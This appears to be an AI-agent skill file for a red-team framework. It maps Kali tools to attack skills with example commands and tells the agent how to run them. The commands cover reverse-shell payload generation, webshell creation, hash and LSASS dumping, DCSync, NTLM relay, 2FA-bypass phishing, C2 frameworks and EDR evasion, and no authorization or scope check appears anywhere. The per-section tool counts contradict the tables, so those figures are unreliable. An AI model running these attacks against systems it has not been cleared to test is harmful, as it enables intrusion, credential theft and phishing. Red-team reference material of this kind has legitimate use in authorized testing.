---
name: tools-master
description: "MASTER TOOL REFERENCE — Every tool in the Docker Kali container mapped to RTExit skills and scenarios. Use this to know which tool runs which attack."
---

# RTExit Tools Master Reference

> **Every tool that the agent can use, mapped to its skill and scenario.** The Docker Kali container (`rtexit-kali`) has all these pre-installed. Run `docker exec -it rtexit-kali bash` to enter.

---

## Quick Command Reference (per category)

```bash
# Enter the Docker Kali container
docker exec -it rtexit-kali bash

# Verify all tools
/opt/rt-verify/rt-verify-all.sh

# Output directory (shared with host)
/opt/loot/

# Wordlists
/opt/SecLists/  # SecLists
/opt/wordlists/  # rockyou, etc.

# Frida scripts
/opt/frida-scripts/
```

---

## Recon & OSINT (24 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `nmap` | Port scan, service detection | `rt-active-recon` | `nmap -p- -sV target.com` |
| `masscan` | Fast port scan | `rt-active-recon` | `masscan -p1-65535 target.com --rate=10000` |
| `subfinder` | Subdomain enum | `rt-subdomain-enum` | `subfinder -d target.com -all` |
| `amass` | Subdomain enum (deep) | `rt-subdomain-enum` | `amass enum -d target.com` |
| `httpx` | Live host probing | `rt-active-recon` | `cat subs.txt \| httpx -title -tech-detect` |
| `nuclei` | Vuln scanning templates | `rt-active-recon` | `nuclei -u target.com -t nuclei-templates/` |
| `ffuf` | Directory/file fuzzing | `rt-exploit-web` | `ffuf -u https://target.com/FUZZ -w wordlist.txt` |
| `gobuster` | Directory brute | `rt-active-recon` | `gobuster dir -u target.com -w /opt/SecLists/...` |
| `theHarvester` | Email/domain OSINT | `rt-osint` | `theHarvester -d target.com -b all` |
| `shodan` | Internet-wide search | `rt-shodan-recon` | `shodan search org:"target"` |
| `gau` | Get All URLs | `rt-osint` | `gau target.com` |
| `waybackurls` | Historical URLs | `rt-osint` | `echo target.com \| waybackurls` |
| `gowitness` | Screenshot web pages | `rt-active-recon` | `gowitness file -f urls.txt` |
| `gitleaks` | Git secrets | `rt-github-recon` | `gitleaks detect --source .` |
| `recon-ng` | Recon framework | `rt-osint` | `recon-ng` |
| `fierce` | DNS brute | `rt-subdomain-enum` | `fierce -dns target.com` |
| `dnsrecon` | DNS recon | `rt-subdomain-enum` | `dnsrecon -d target.com` |
| `dnsenum` | DNS enum | `rt-subdomain-enum` | `dnsenum target.com` |
| `nbtscan` | NetBIOS scan | `rt-active-recon` | `nbtscan 10.0.0.0/24` |
| `smbmap` | SMB enumeration | `rt-active-recon` | `smbmap -H target.com` |
| `enum4linux` | SMB enum | `rt-active-recon` | `enum4linux -a target.com` |
| `enum4linux-ng` | SMB enum (Python) | `rt-active-recon` | `enum4linux-ng -a target.com` |
| `h8mail` | Email breach search | `rt-osint` | `h8mail -t emails.txt` |
| `crosslinked` | LinkedIn enum | `rt-osint` | `crosslinked -d target.com` |
| `maigret` | Username search | `rt-osint` | `maigret username` |
| `holehe` | Email registration check | `rt-osint` | `holehe user@target.com` |
| `ghunt` | Google account OSINT | `rt-osint` | `ghunt user@gmail.com` |
| `spiderfoot` | Automated OSINT | `rt-osint` | `spiderfoot -l 127.0.0.1:5001` |
| `linkfinder` | JS endpoint discovery | `rt-js-analysis` | `linkfinder -i https://target.com/app.js -o links.txt` |
| `secretfinder` | JS secret discovery | `rt-js-analysis` | `secretfinder -i https://target.com/app.js` |
| `trufflehog` | Git secret scan | `rt-github-recon` | `trufflehog github --org=target` |
| `interactsh-client` | OOB interaction | `rt-exploit-ssrf` | `interactsh-client -v` |
| `chaos` | Chaos dataset | `rt-subdomain-enum` | `chaos -d target.com` |
| `cloudlist` | Cloud asset enum | `rt-exploit-cloud-aws` | `cloudlist -p aws` |

---

## Web Application (19 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `sqlmap` | SQL injection | `rt-exploit-injection` | `sqlmap -u "url" --dbs` |
| `ghauri` | SQLi (modern) | `rt-exploit-injection` | `ghauri -u "url"` |
| `dalfox` | XSS scanner | `rt-exploit-xss` | `dalfox url https://target.com/page?xss=` |
| `nikto` | Web vuln scanner | `rt-exploit-web` | `nikto -h target.com` |
| `wfuzz` | Parameter fuzzing | `rt-exploit-web` | `wfuzz -u url -w wordlist -p param=FUZZ` |
| `whatweb` | Tech detection | `rt-active-recon` | `whatweb target.com` |
| `wafw00f` | WAF detection | `rt-exploit-web` | `wafw00f https://target.com` |
| `testssl.sh` | TLS/SSL audit | `rt-exploit-web` | `testssl.sh target.com` |
| `mitmproxy` | MITM proxy | `rt-exploit-web` | `mitmproxy --mode regular` |
| `arjun` | Parameter discovery | `rt-exploit-web` | `arjun -u https://target.com/api` |
| `x8` | Hidden parameter | `rt-exploit-web` | `x8 -u "https://target.com/api"` |
| `smuggler` | HTTP smuggling | `rt-request-smuggling` | `smuggler -u https://target.com` |
| `jwt_tool` | JWT attack | `rt-exploit-jwt` | `jwt_tool TOKEN` |
| `grpcurl` | gRPC testing | `rt-exploit-grpc` | `grpcurl target.com list` |
| `graphw00f` | GraphQL detection | `rt-exploit-graphql` | `graphw00f -t https://target.com/graphql` |
| `zap` | OWASP ZAP | `rt-exploit-web` | `zap -cmd -quick -target target.com` |
| `burpsuite` | Web proxy | `rt-exploit-web` | `burpsuite` (GUI) |
| `curl` | HTTP client | All web skills | `curl -X POST target.com` |
| `wget` | HTTP downloader | All web skills | `wget target.com/file` |
| `dotdotpwn` | Path traversal | `rt-path-traversal` | `dotdotpwn -m http-url -u target.com` |
| `graphql-cop` | GraphQL security | `rt-exploit-graphql` | `graphql-cop -t https://target.com/graphql` |
| `inql` | GraphQL Burp ext | `rt-exploit-graphql` | `inql` (Burp) |
| `xsstrike` | XSS scanner | `rt-exploit-xss` | `xsstrike -u "url"` |
| `ppmap` | Prototype pollution | `rt-prototype-pollution` | `ppmap` |
| `ysoserial` | Java deser | `rt-deserialization` | `ysoserial CommonsCollections1 "cmd"` |
| `phar` | PHP archive | `rt-path-traversal` | `php -r "phar..."` |
| `weevely` | PHP webshell | `rt-exploit-file-upload` | `weevely generate password shell.php` |
| `phpggc` | PHP gadget chain | `rt-deserialization` | `phpggc -l` |
| `beef-xss` | Browser exploit | `rt-exploit-xss` | `beef-xss` |
| `setoolkit` | Social engineering | `rt-exploit-phishing` | `setoolkit` |
| `gophish` | Phishing framework | `rt-exploit-phishing` | `gophish` |
| `king-phisher` | Phishing campaign | `rt-exploit-phishing` | `king-phisher` |
| `evilginx2` | Phish + 2FA bypass | `rt-exploit-phishing` | `evilginx2` |

---

## Active Directory (20 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `impacket-psexec` | Remote exec | `rt-lateral-movement` | `impacket-psexec user:pass@target` |
| `impacket-secretsdump` | Dump hashes | `rt-credential-access` | `impacket-secretsdump user:pass@dc01` |
| `impacket-GetUserSPNs` | Kerberoast | `rt-exploit-active-directory` | `impacket-GetUserSPNs domain/user:pass -dc-ip dc01 -request` |
| `impacket-GetNPUsers` | AS-REP roast | `rt-exploit-active-directory` | `impacket-GetNPUsers domain/ -dc-ip dc01` |
| `impacket-ticketer` | Ticket forge | `rt-diamond-sapphire-tickets` | `impacket-ticketer -nthash HASH -domain-sid SID administrator` |
| `impacket-wmiexec` | WMI exec | `rt-lateral-movement` | `impacket-wmiexec user:pass@target` |
| `impacket-smbexec` | SMB exec | `rt-lateral-movement` | `impacket-smbexec user:pass@target` |
| `impacket-atexec` | AT exec | `rt-lateral-movement` | `impacket-atexec user:pass@target cmd` |
| `impacket-dcomexec` | DCOM exec | `rt-lateral-movement` | `impacket-dcomexec user:pass@target` |
| `impacket-mssqlclient` | MSSQL client | `rt-exploit-mssql` | `impacket-mssqlclient user:pass@target` |
| `impacket-ntlmrelayx` | NTLM relay | `rt-kerberos-relay` | `impacket-ntlmrelayx -t target` |
| `impacket-rpcdump` | RPC enum | `rt-coercion-attacks` | `impacket-rpcdump domain/user:pass@target` |
| `impacket-rpcmq` | RPC MQI | `rt-coercion-attacks` | `impacket-rpcmq domain/user:pass@target` |
| `mimikatz` | Cred dump | `rt-credential-access` | `mimikatz.exe` |
| `rubeus` | Kerberos attacks | `rt-exploit-active-directory` | `rubeus kerberoast` |
| `certipy` | ADCS attacks | `rt-adcs-esc9-13` | `certipy find -u user -p pass` |
| `evil-winrm` | WinRM shell | `rt-lateral-movement` | `evil-winrm -i target -u user -H hash` |
| `bloodhound-python` | AD recon | `rt-exploit-active-directory` | `bloodhound-python -u user -p pass -d domain` |
| `sharphound` | AD collector (.NET) | `rt-exploit-active-directory` | `SharpHound.exe -c All` |
| `kerbrute` | Kerberos brute | `rt-password-spray` | `kerbrute passwordspray -d domain users.txt password` |
| `netexec` | AD brute (CME fork) | `rt-exploit-active-directory` | `netexec smb target.com -u user -p pass` |
| `responder` | LLMNR/NBNS poison | `rt-credential-access` | `responder -I eth0` |
| `mitm6` | IPv6 attack | `rt-credential-access` | `mitm6 -d domain` |
| `coercer` | Coercion automation | `rt-coercion-attacks` | `coercer -u user -p pass -t target` |
| `pyrdp-mitm` | RDP MITM | `rt-ssl-mitm` | `pyrdp-mitm target.com` |
| `donpapi` | DPAPI dumping | `rt-dpapi-hunting` | `donpapi -u user -p pass` |
| `PetitPotam` | EFS RPC coerce | `rt-coercion-attacks` | `python3 petitpotam.py -u user -p pass -d domain target` |
| `PKINITtools` | PKINIT cert auth | `rt-adcs-esc9-13` | `gettgtpkinit.py domain/dc -pfx cert.pfx` |
| `NoPac` | NoPac exploit | `rt-nopac-exploit` | `python3 NoPac.py domain/user:pass -dc-ip dc01` |
| `crackmapexec` | Multi-protocol brute | `rt-exploit-active-directory` | `crackmapexec smb target.com -u user -p pass` |
| `pypykatz` | Mimikatz in Python | `rt-credential-access` | `pypykatz lsa minidump lsass.dmp` |
| `lsassy` | LSASS dump remote | `rt-credential-access` | `lsassy -u user -p pass target` |
| `nanodump` | LSASS dump evasion | `rt-lsass-dumping` | `nanodump.exe` |
| `dcsync` | DCSync via lsadump | `rt-credential-access` | `mimikatz # lsadump::dcsync` |
| `lazagne` | Creds (multi) | `rt-credential-access` | `lazagne.exe all` |
| `winpeas` | Windows priv-esc | `rt-privilege-escalation` | `winpeas.exe` |
| `linpeas` | Linux priv-esc | `rt-privilege-escalation` | `linpeas.sh` |

---

## Cloud (12 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `aws` | AWS CLI | `rt-exploit-cloud-aws` | `aws s3 ls` |
| `azure-cli` | Azure CLI | `rt-exploit-cloud-azure` | `az login` |
| `gcloud` | GCP CLI | `rt-exploit-cloud-gcp` | `gcloud init` |
| `kubectl` | Kubernetes | `rt-kubernetes` | `kubectl get pods` |
| `pacu` | AWS exploitation | `rt-exploit-cloud-aws` | `pacu` |
| `roadrecon` | Azure AD recon | `rt-azure-ad` | `roadrecon` |
| `pmapper` | AWS perm map | `rt-exploit-cloud-aws` | `pmapper` |
| `prowler` | AWS compliance | `rt-exploit-cloud-aws` | `prowler` |
| `stratus` | AWS red team | `rt-exploit-cloud-aws` | `stratus` |
| `teamfiltration` | Azure enumeration | `rt-azure-ad` | `teamfiltration` |
| `scoutsuite` | Multi-cloud audit | `rt-exploit-cloud-aws` | `scoutsuite aws` |
| `kube-hunter` | K8s security | `rt-kubernetes` | `kube-hunter` |
| `trivy` | Container vuln | `rt-exploit-containers` | `trivy image nginx` |
| `cdk` | Container toolkit | `rt-exploit-containers` | `cdk` |
| `deepce` | Docker enum | `rt-exploit-containers` | `deepce` |
| `botb` | Container breakout | `rt-exploit-containers` | `botb` |

---

## Passwords & Hashes (10 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `hashcat` | Hash cracking | `rt-credential-access` | `hashcat -m 18200 hashes.txt rockyou.txt` |
| `john` | Hash cracking | `rt-credential-access` | `john --wordlist=rockyou.txt hash.txt` |
| `hydra` | Online brute | `rt-credential-access` | `hydra -l user -P rockyou.txt ssh://target` |
| `medusa` | Online brute | `rt-credential-access` | `medusa -h target -u user -P rockyou.txt -M ssh` |
| `cewl` | Custom wordlist | `rt-wordlist-generation` | `cewl https://target.com -w wordlist.txt` |
| `crunch` | Wordlist gen | `rt-wordlist-generation` | `crunch 8 12 -o wordlist.txt` |
| `cupp` | User password profiler | `rt-wordlist-generation` | `cupp -i` |
| `patator` | Multi-proto brute | `rt-credential-access` | `patator ssh_login` |
| `onesixtyone` | SNMP brute | `rt-active-recon` | `onesixtyone -c community.txt target` |
| `cme` | CrackMapExec (use netexec) | `rt-exploit-active-directory` | `cme smb target -u user -p pass` |
| `kerbrute` | Kerberos brute | `rt-password-spray` | `kerbrute` |

---

## Post-Exploitation & C2 (12 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `msfconsole` | Metasploit | `rt-exploit-web` etc. | `msfconsole` |
| `msfvenom` | Payload gen | All | `msfvenom -p windows/x64/shell_reverse_tcp LHOST=...` |
| `sliver-client` | Sliver C2 | `rt-c2-operations` | `sliver-client` |
| `havoc` | Havoc C2 | `rt-c2-operations` | `havoc` |
| `chisel` | Tunneling | `rt-post-exploitation` | `chisel server --port 8000` |
| `ligolo-proxy` | Tunneling (modern) | `rt-post-exploitation` | `ligolo-proxy` |
| `socat` | Port forwarder | All | `socat TCP-LISTEN:4444,fork TCP:target:80` |
| `iodine` | DNS tunneling | `rt-data-exfiltration` | `iodined -c -d domain` |
| `dnscat2` | DNS C2 | `rt-c2-operations` | `dnscat2` |
| `Empire` | PowerShell C2 | `rt-c2-operations` | `/opt/Empire/empire` |
| `PoshC2` | PowerShell C2 | `rt-c2-operations` | `/opt/PoshC2/PoshC2.py` |
| `Villain` | C2 framework | `rt-c2-operations` | `/opt/Villain/Villain.py` |
| `atomic-red-team` | ATT&CK tests | `rt-purple-team` | `atomics` |
| `caldera` | Adversary sim | `rt-purple-team` | `caldera` |
| `AtomicTestHarnesses` | Test harness | `rt-purple-team` | N/A |

---

## Network (11 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `tcpdump` | Packet capture | `rt-traffic-analysis` | `tcpdump -i eth0 -w cap.pcap` |
| `tshark` | Packet analysis | `rt-traffic-analysis` | `tshark -r cap.pcap` |
| `bettercap` | MITM framework | `rt-ssl-mitm` | `bettercap -eval "net.probe on"` |
| `ettercap` | MITM | `rt-ssl-mitm` | `ettercap -G` |
| `dsniff` | Sniffer | `rt-traffic-analysis` | `dsniff` |
| `arpwatch` | ARP monitor | `rt-traffic-analysis` | `arpwatch -i eth0` |
| `netsniff-ng` | Packet tools | `rt-traffic-analysis` | `netsniff-ng` |
| `hping3` | Custom packets | `rt-active-recon` | `hping3 -S target -p 80` |
| `proxychains4` | Proxy through | `rt-ssl-mitm` | `proxychains4 curl target.com` |
| `macchanger` | MAC spoof | `rt-exploit-wireless` | `macchanger -A eth0` |
| `sslstrip` | SSL downgrade | `rt-ssl-mitm` | `sslstrip` |
| `aircrack-ng` | WiFi attack | `rt-wifi-attacks` | `aircrack-ng cap.cap` |
| `hcxdumptool` | WPA capture | `rt-wifi-attacks` | `hcxdumptool -i wlan0` |
| `hostapd-wpe` | Rogue AP | `rt-wireless-rogue-ap` | `hostapd-wpe` |
| `wifite` | WiFi auto | `rt-wifi-attacks` | `wifite` |
| `sipvicious` | VoIP | `rt-voip-sip` | `svmap target` |

---

## Exploitation (5 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `searchsploit` | Exploit search | All | `searchsploit apache 2.4.49` |
| `metasploit-framework` | Exploit framework | All | `msfconsole` |
| `ScareCrow` | EDR bypass | `rt-defense-evasion` | `ScareCrow` |
| `routersploit` | Router exploit | `rt-exploit-iot` | `rsf.py` |
| `cve-search` | CVE search | `rt-osint` | `cve_search` |

---

## Binary Analysis (10 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `gdb` | Debugger | `rt-binary-reverse-engineering` | `gdb ./binary` |
| `r2` (radare2) | RE | `rt-binary-reverse-engineering` | `r2 ./binary` |
| `ghidra` | RE (GUI) | `rt-binary-reverse-engineering` | `ghidraRun` |
| `binwalk` | Firmware | `rt-binary-reverse-engineering` | `binwalk firmware.bin` |
| `strings` | Extract strings | `rt-binary-reverse-engineering` | `strings binary` |
| `ltrace` | Lib trace | `rt-binary-reverse-engineering` | `ltrace ./binary` |
| `strace` | Syscall trace | `rt-binary-reverse-engineering` | `strace ./binary` |
| `pwntools` | Exploit dev | `rt-binary-reverse-engineering` | Python lib |
| `floss` | String deobfuscation | `rt-binary-reverse-engineering` | `floss malware.exe` |
| `objdump` | Disassembler | `rt-binary-reverse-engineering` | `objdump -d binary` |
| `gdb-peda` | GDB enhancer | `rt-binary-reverse-engineering` | In gdb |

---

## Fuzzing (3 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `afl-fuzz` | Coverage fuzzer | `rt-exploit-fuzzing` | `afl-fuzz -i in -o out ./target` |
| `radamsa` | Mutation fuzzer | `rt-exploit-fuzzing` | `radamsa input.txt` |
| `boofuzz` | Network fuzzer | `rt-exploit-fuzzing` | Python lib |

---

## Forensics (7 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `foremost` | File carving | `rt-traffic-analysis` | `foremost -i image.dd -o out` |
| `testdisk` | Disk recovery | `rt-traffic-analysis` | `testdisk` |
| `bulk_extractor` | Extraction | `rt-traffic-analysis` | `bulk_extractor -o out image.dd` |
| `exiftool` | Metadata | All | `exiftool file.jpg` |
| `vol` | Memory (v2) | `rt-traffic-analysis` | `vol -f mem.dmp` |
| `vol3` | Memory (v3) | `rt-traffic-analysis` | `vol3` |
| `dc3dd` | Forensic dd | `rt-traffic-analysis` | `dc3dd if=file of=out` |

---

## Steganography (5 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `steghide` | Steg in JPEG/BMP | `rt-steganography` | `steghide extract -sf image.jpg` |
| `zsteg` | Steg in PNG | `rt-steganography` | `zsteg image.png` |
| `stegsolve` | Steg analysis GUI | `rt-steganography` | `stegsolve` |
| `stegoveritas` | Steg all-in-one | `rt-steganography` | `stegoveritas image.png` |
| `binwalk` | Steg + firmware | `rt-steganography` | `binwalk -e image.jpg` |

---

## Mobile (10 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `apktool` | APK decompile | `rt-exploit-android` | `apktool d app.apk` |
| `jadx` | Decompiler | `rt-mobile-static-deep` | `jadx app.apk` |
| `frida` | Dynamic instr | `rt-frida-advanced` | `frida -l script.js -U app` |
| `objection` | Mobile pen-test | `rt-mobile-ssl-pinning` | `objection -g com.app` |
| `apkleaks` | APK secret scan | `rt-mobile-static-deep` | `apkleaks -f app.apk` |
| `dex2jar` | DEX to JAR | `rt-exploit-android` | `dex2jar classes.dex` |
| `drozer` | Mobile attack | `rt-android-intent-exploitation` | `drozer console connect` |
| `adb` | Android debug | `rt-exploit-android` | `adb shell` |
| `peirates` | Kubernetes pen-test | `rt-kubernetes` | `peirates` |
| `ScareCrow` | EDR bypass | `rt-defense-evasion` | `ScareCrow` |
| `frida-ios-dump` | iOS dump | `rt-exploit-ios` | `frida-ios-dump` |

---

## Container & Kubernetes (8 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `cdk` | Container toolkit | `rt-exploit-containers` | `cdk evaluate` |
| `deepce` | Docker enum | `rt-exploit-containers` | `deepce` |
| `botb` | Container breakout | `rt-exploit-containers` | `botb` |
| `trivy` | Container vuln | `rt-iac-misconfig` | `trivy image` |
| `dive` | Image inspection | `rt-exploit-containers` | `dive image` |
| `kubectl` | K8s admin | `rt-kubernetes` | `kubectl get pods` |
| `kube-hunter` | K8s attack | `rt-kubernetes` | `kube-hunter` |
| `peirates` | K8s attack | `rt-kubernetes` | `peirates` |

---

## Evasion & Payload (5 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `Veil` | Payload obfuscation | `rt-defense-evasion` | `veil` |
| `macro_pack` | Office macro | `rt-defense-evasion` | `macro_pack.py -f file.docm` |
| `Donut` | Shellcode gen | `rt-process-injection-advanced` | `donut.exe -f payload.exe` |
| `ScareCrow` | EDR bypass | `rt-defense-evasion` | `ScareCrow` |
| `msfvenom` | Payload gen | `rt-exploit-web` etc. | `msfvenom -p ...` |
| `electronegativity` | Electron security | `rt-exploit-electron` | `electronegativity app.asar` |

---

## AI/LLM (2 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `garak` | LLM vuln scan | `rt-ai-llm-security` | `garak --target openai` |
| `promptfoo` | Prompt testing | `rt-ai-llm-security` | `promptfoo eval` |

---

## WiFi (5 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `aircrack-ng` | WiFi crack | `rt-wifi-attacks` | `aircrack-ng` |
| `hcxdumptool` | WPA capture | `rt-wifi-attacks` | `hcxdumptool` |
| `hostapd-wpe` | Rogue AP | `rt-wireless-rogue-ap` | `hostapd-wpe` |
| `wifite` | Auto WiFi | `rt-wifi-attacks` | `wifite` |
| `bettercap` | WiFi attacks | `rt-wifi-attacks` | `bettercap -eval "wifi.recon on"` |

---

## VOIP / Hardware (4 tools)

| Tool | Use | RTExit Skill | Example |
|------|-----|-------------|---------|
| `sipvicious` | SIP attacks | `rt-voip-sip` | `svmap` |
| `rtpbreak` | RTP detection | `rt-voip-sip` | `rtpbreak` |
| `pjsua` | SIP client | `rt-voip-sip` | `pjsua` |
| `openocd` | Hardware debug | `rt-hardware-hacking` | `openocd` |
| `flashrom` | Flash chip | `rt-hardware-hacking` | `flashrom` |
| `avrdude` | AVR programmer | `rt-hardware-hacking` | `avrdude` |

---

## Wordlists (always available)

| Path | Contents |
|------|----------|
| `/opt/SecLists/` | All SecLists (Discovery, Fuzzing, Passwords) |
| `/opt/wordlists/rockyou.txt` | rockyou.txt (14M passwords) |
| `/usr/share/wordlists/` | System wordlists |
| `/usr/share/dirb/wordlists/` | Dirb wordlists |
| `/usr/share/dirbuster/wordlists/` | DirBuster |
| `/usr/share/seclists/` | SecLists (apt) |

---

## How Agent Should Use This File

### Step 1: Identify Phase
"User said test for LFI" → phase = web exploitation

### Step 2: Identify Skill
"Path traversal" → `rt-path-traversal`

### Step 3: Identify Tool
Look at this file's **Web Application** section → `dotdotpwn`, `curl`, `ffuf`

### Step 4: Identify Scenario
Read `rt-path-traversal/scenarios.md` Index → S01-S15 are the top picks

### Step 5: Run in Docker Kali
```bash
docker exec -it rtexit-kali bash
# Now all tools are available
ffuf -u "https://target.com/FUZZ" -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt
```

### Step 6: Document Findings
Use `rt-finding-document` after each successful exploit.

---

## Tool Coverage Summary

**Total tools in Docker Kali: 200+**

- Recon: 24
- Web: 19
- AD: 20
- Cloud: 12
- Passwords: 10
- Post-ex/C2: 12
- Network: 11
- Exploit: 5
- Binary: 10
- Fuzzing: 3
- Forensics: 7
- Steg: 5
- Mobile: 10
- Container: 8
- Evasion: 5
- AI/LLM: 2
- WiFi: 5
- VOIP/HW: 4

All verified by `/opt/rt-verify/rt-verify-all.sh`.

---

## When Tools Are Missing

```bash
# 1. Try to install on the fly
apt-get install -y <tool>
pip3 install <tool>

# 2. Use Docker (host)
docker pull <image>
docker run -it <image> bash

# 3. Use online services
# - requestbin.net
# - interactsh.com
# - webhook.site

# 4. Build from source
git clone <repo>
cd <repo>
make
make install
```

If a critical tool is missing and you cannot install it, **document the limitation** in your finding's notes.
